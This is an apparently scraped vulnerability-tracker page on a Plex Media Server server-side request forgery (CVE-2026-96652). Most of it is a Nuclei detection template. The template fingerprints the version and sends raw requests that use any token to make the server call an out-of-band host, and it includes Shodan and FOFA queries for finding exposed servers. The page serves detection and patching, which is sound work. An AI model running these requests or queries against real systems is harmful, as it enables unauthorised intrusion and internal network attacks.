CVE-2026-96652: Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)

2026-11-09 PoC Public

Description

Plex Media Server < 1.43.3.10861 contains a server side request forgery caused by improper validation of the 'protocol' parameter in /player/timeline, letting attackers with any X-Plex-Token value force the server to POST to arbitrary destinations, exploit requires any X-Plex-Token value.

Details

CVE
CVE-2026-96652 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-96652

info:
  name: Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)
  author: 0x_Akoko,pdteam,alex700
  severity: medium
  description: |
    Plex Media Server < 1.43.3.10861 contains a server side request forgery caused by improper validation of the 'protocol' parameter in /player/timeline, letting attackers with any X-Plex-Token value force the server to POST to arbitrary destinations, exploit requires any X-Plex-Token value.
  impact: |
    Attackers can make the server send arbitrary POST requests to attacker-controlled destinations, potentially leading to internal network attacks or data exfiltration.
  remediation: |
    Update to version 1.43.3.10861 or later.
  reference:
    - https://zmain.info/blog/plex2shell
    - https://github.com/gmh5225/plex2shell
    - https://www.cve.org/CVERecord?id=CVE-2026-96652
    - https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
    - https://github.com/advisories/GHSA-5p7w-r379-3c2m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-96652
    epss-score: 0.11886
    epss-percentile: 0.96129
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 4
    vendor: plex
    product: plex_media_server
    shodan-query: port:32400 "X-Plex-Protocol"
    fofa-query: port="32400" && header="X-Plex-Protocol"
  tags: cve,cve2026,plex,ssrf,oob,unauth,plex2shell,kev,vkev

variables:
  cid: "{{rand_text_alpha(10)}}"
  tok: "{{rand_text_alpha(12)}}"

flow: |
  (function() {
    if (!http(1)) return false;
    var ver = template["plex_version"];
    if (!ver) return false;
    var p = ver.split(/[.\-]/);
    if (p.length < 4) return false;
    var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];
    var vuln = (ma < 1) ||
               (ma === 1 && mi < 43) ||
               (ma === 1 && mi === 43 && pa < 3) ||
               (ma === 1 && mi === 43 && pa === 3 && build < 10861);
    if (!vuln) return false;
    try { http(2); } catch (e) {}
    if (!http(3)) return false;
    return http(4);
  })();

http:
  - raw:
      - |
        GET /identity HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    extractors:
      - type: regex
        name: plex_version
        internal: true
        part: body
        group: 1
        regex:
          - '<MediaContainer[^>]+\sversion="([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "MediaContainer", "machineIdentifier")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 3s
        GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: poc
        X-Plex-Platform-Version: 1
        X-Plex-Product: poc
        X-Plex-Version: 1
        X-Plex-Device: poc
        X-Plex-Device-Name: poc
        X-Plex-Model: poc
        Accept: */*
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&commandID=1&X-Plex-Target-Client-Identifier={{cid}}&protocol=http%3A%2F%2F{{interactsh-url}}&port=80 HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: poc
        X-Plex-Platform-Version: 1
        X-Plex-Product: poc
        X-Plex-Version: 1
        X-Plex-Device: poc
        X-Plex-Device-Name: poc
        X-Plex-Model: poc
        Accept: */*
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: poc
        X-Plex-Platform-Version: 1
        X-Plex-Product: poc
        X-Plex-Version: 1
        X-Plex-Device: poc
        X-Plex-Device-Name: poc
        X-Plex-Model: poc
        Accept: */*
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 4a0a004730450220161a5b4bfef12d05d04f09b408c48a31bfe6e7312626a96d13b919bb6b350d81022100aab4d8bb1aac0ad0fe40dba3bd5b2c29e989fa81c682288a99a87e6bf0e6fad8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life